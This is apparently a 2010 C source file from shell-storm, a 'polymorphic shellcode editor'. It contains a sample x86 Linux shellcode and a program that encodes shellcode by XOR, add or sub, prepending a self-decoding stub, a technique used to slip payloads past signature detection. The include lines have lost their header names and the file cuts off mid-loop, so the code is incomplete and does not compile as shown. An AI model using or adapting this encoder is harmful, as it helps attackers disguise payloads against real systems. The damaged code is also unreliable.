/* Title: Polymorphic shellcode Editor Author: Jonathan Salwan Date: 2010-06-14 Web: http://www.shell-storm.org Twitter: http://twitter.com/shell_storm ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/ char your_SC[] = Shellcode _write(1,"jonathan\n",9) + _exit(0) You can change it ;) Compile: # gcc -std=c99 -o editor editor.c */ #include #include char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9" "\x31\xd2\xb2\x09\x6a\x0a" "\x68\x74\x68\x61\x6e\x68" "\x6a\x6f\x6e\x61\x89\xe1" "\xb3\x01\xb0\x04\xcd\x80" "\x31\xdb\xb0\x01\xcd\x80"; void syntax(void) { fprintf(stdout,"\nSyntax: ./encode \n\n"); fprintf(stdout,"Type: -xor\n"); fprintf(stdout," -add\n"); fprintf(stdout," -sub\n\n"); fprintf(stdout,"Exemple: ./encode -xor 10\n\n"); exit(1); } int main(int argc, char *argv[]) { if(argc != 3){ syntax(); return 1; } if(!strcmp(argv[1], "-xor")) { fprintf(stdout,"Encode : XOR %s\n", argv[2]); fprintf(stdout,"Encoded: \n"); fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80" "\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75" "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff" ,strlen(your_SC), atoi(argv[2])); for (int i=0;i